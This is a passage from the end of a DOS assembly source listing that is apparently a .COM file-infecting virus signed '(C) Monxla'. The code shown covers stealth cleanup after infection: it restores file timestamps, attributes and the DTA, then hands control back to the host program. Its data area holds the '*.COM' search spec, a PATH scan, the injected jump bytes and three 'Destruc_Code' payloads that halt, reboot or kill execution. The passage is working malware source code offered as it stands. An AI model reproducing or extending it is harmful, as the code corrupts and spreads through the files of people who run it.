  1303. Set_FileDate_Time_Back:
  1304.  
  1305.   MOV DX,[SI+6]  ; Get File-Date
  1306.  
  1307.   MOV CX,[SI+4]  ; Get File-Time
  1308.  
  1309.   MOV AX,5701H  ; Set back the File-Time and
  1310.  
  1311.   INT 21H   ; Date stamps
  1312.  
  1313.  
  1314.  
  1315. ;██████████████████████████████████████████████████████████████████████████
  1316.  
  1317. ;██                                                                      ██
  1318.  
  1319. ;██ Close the File                                                       ██
  1320.  
  1321. ;██                                                                      ██
  1322.  
  1323. ;██████████████████████████████████████████████████████████████████████████
  1324.  
  1325.  
  1326.  
  1327.   MOV AH,3EH   ; 
  1328.  
  1329.   INT 21H   ; Close the File
  1330.  
  1331.  
  1332.  
  1333. ;██████████████████████████████████████████████████████████████████████████
  1334.  
  1335. ;██                                                                      ██
  1336.  
  1337. ;██ Set File Attribute back                                              ██
  1338.  
  1339. ;██                                                                      ██
  1340.  
  1341. ;██████████████████████████████████████████████████████████████████████████
  1342.  
  1343.  
  1344.  
  1345.  
  1346.  
  1347. Set_FileAttributes_Back:
  1348.  
  1349.   MOV AX,4301H  ;
  1350.  
  1351.   MOV CX,[SI+8]  ; Get File Attribute
  1352.  
  1353.   MOV DX,26H   ;
  1354.  
  1355.   ADD DX,SI   ; 
  1356.  
  1357.   INT 21H   ; Set File Attribute
  1358.  
  1359.  
  1360.  
  1361. ;██████████████████████████████████████████████████████████████████████████
  1362.  
  1363. ;██                                                                      ██
  1364.  
  1365. ;██ Restore Org DTA address                                              ██
  1366.  
  1367. ;██                                                                      ██
  1368.  
  1369. ;██████████████████████████████████████████████████████████████████████████
  1370.  
  1371.  
  1372.  
  1373. Restore_Org_DTA:
  1374.  
  1375.   PUSH DS
  1376.  
  1377.   MOV AH,1AH
  1378.  
  1379.   MOV DX,[SI]   ; Get Original DTA
  1380.  
  1381.   MOV DS,[SI+2]  ; address
  1382.  
  1383.   INT 21H   ; St DTA to ds:dx
  1384.  
  1385.  
  1386.  
  1387. ;██████████████████████████████████████████████████████████████████████████
  1388.  
  1389. ;██                                                                      ██
  1390.  
  1391. ;██ Put 3 Original 1st three bytes in place and execute original program ██
  1392.  
  1393. ;██                                                                      ██
  1394.  
  1395. ;██████████████████████████████████████████████████████████████████████████
  1396.  
  1397.  
  1398.  
  1399.   POP DS   ; Restore DS
  1400.  
  1401.   PUSH SI   ; Store SI
  1402.  
  1403.   CLD    ; 
  1404.  
  1405.   ADD SI,81H   ; Address where the 1st three
  1406.  
  1407.       ; bytes can be found.
  1408.  
  1409.   MOV DI,100H   ; Destination Address
  1410.  
  1411.   MOV CX,3   ; Number of bytes to move
  1412.  
  1413.   REP MOVSB   ; Move the bytes
  1414.  
  1415.   POP SI   ; Restore SI
  1416.  
  1417.   POP CX   ; Restore CX
  1418.  
  1419.   XOR AX,AX   ; Zero register
  1420.  
  1421.   XOR BX,BX   ; Zero register
  1422.  
  1423.   XOR DX,DX   ; Zero register
  1424.  
  1425.   XOR SI,SI   ; Zero register
  1426.  
  1427.   MOV DI,100H   
  1428.  
  1429.   PUSH DI   ; Store DI
  1430.  
  1431.   XOR DI,DI   ; Zero register
  1432.  
  1433.   RET 0FFFFH   ; Terminate Virus-Code and
  1434.  
  1435.       ; execute original program.
  1436.  
  1437.  
  1438.  
  1439. ;██████████████████████████████████████████████████████████████████████████
  1440.  
  1441. ;██                                                                      ██
  1442.  
  1443. ;██ Virus Data Area                                                      ██
  1444.  
  1445. ;██                                                                      ██
  1446.  
  1447. ;██████████████████████████████████████████████████████████████████████████
  1448.  
  1449.  
  1450.  
  1451.  
  1452.  
  1453. ORG_DTA_ADD: DW ?   ; Storing place for BX of 
  1454.  
  1455.       ; original DTA
  1456.  
  1457.   DW ?   ; Storing place for ES of
  1458.  
  1459.       ; original DTA
  1460.  
  1461. File_Time: DW ?   ; Storing place for the
  1462.  
  1463.       ; filetime of the file
  1464.  
  1465. Date:  DW ?   ; Storing place for the
  1466.  
  1467.       ; filedate 
  1468.  
  1469. Attrib:  DW ?   ; Storing place for the
  1470.  
  1471.       ; file attributes.
  1472.  
  1473.  
  1474.  
  1475. Three_Bytes: DB 0E9h, 27h, 03h
  1476.  
  1477.  
  1478.  
  1479. First_New_Byte: DB 0E9h   ; First new byte of the 
  1480.  
  1481.       ; the infected file. This is
  1482.  
  1483.       ; the jump instruction.
  1484.  
  1485. Length_Min_3: DB 0Dh, 27h  ; Also new address to jump
  1486.  
  1487.       ; to for the virus on exe-
  1488.  
  1489.       ; cution, 2nd and 3rd new byte
  1490.  
  1491.  
  1492.  
  1493. Search_Spec: DB '*.COM',00h
  1494.  
  1495.   
  1496.  
  1497. Path_Add_Org: DW 00,05
  1498.  
  1499.  
  1500.  
  1501. Path_Add_Vir: DW '6M'
  1502.  
  1503.  
  1504.  
  1505.   DB 'PATH=', 00, 00
  1506.  
  1507.  
  1508.  
  1509. Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h
  1510.  
  1511.  
  1512.  
  1513. File_Path: DB 'VIRCOM.COM'  ; Filename including PATH
  1514.  
  1515.   DB 30 DUP(0)
  1516.  
  1517.  
  1518.  
  1519. New_DTA: 
  1520.  
  1521.     DB 02
  1522.  
  1523.   DB '????????COM'
  1524.  
  1525.   DB 03, 11H
  1526.  
  1527.   DB 7 DUP (0)
  1528.  
  1529.   DB 20H, 80H, 12H, 17H, 15H, 10H
  1530.  
  1531.   DB 27H, 0, 0
  1532.  
  1533.  
  1534.  
  1535. FileName: DB 'VIRCOM.COM', 00h, 00h, 00h
  1536.  
  1537.  
  1538.  
  1539. Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H
  1540.  
  1541.  
  1542.  
  1543. Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H
  1544.  
  1545.  
  1546.  
  1547. First_3_Bytes: DB 0E9h, 45h, 45h
  1548.  
  1549.  
  1550.  
  1551. Notice:  DB '(C) Monxla'
  1552.  
  1553.   
  1554.  
  1555. Time  ENDP
  1556.  
  1557.   
  1558.  
  1559. SEG_A  ENDS
  1560.  
  1561.   
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567.   END START
  1568.  
  1569.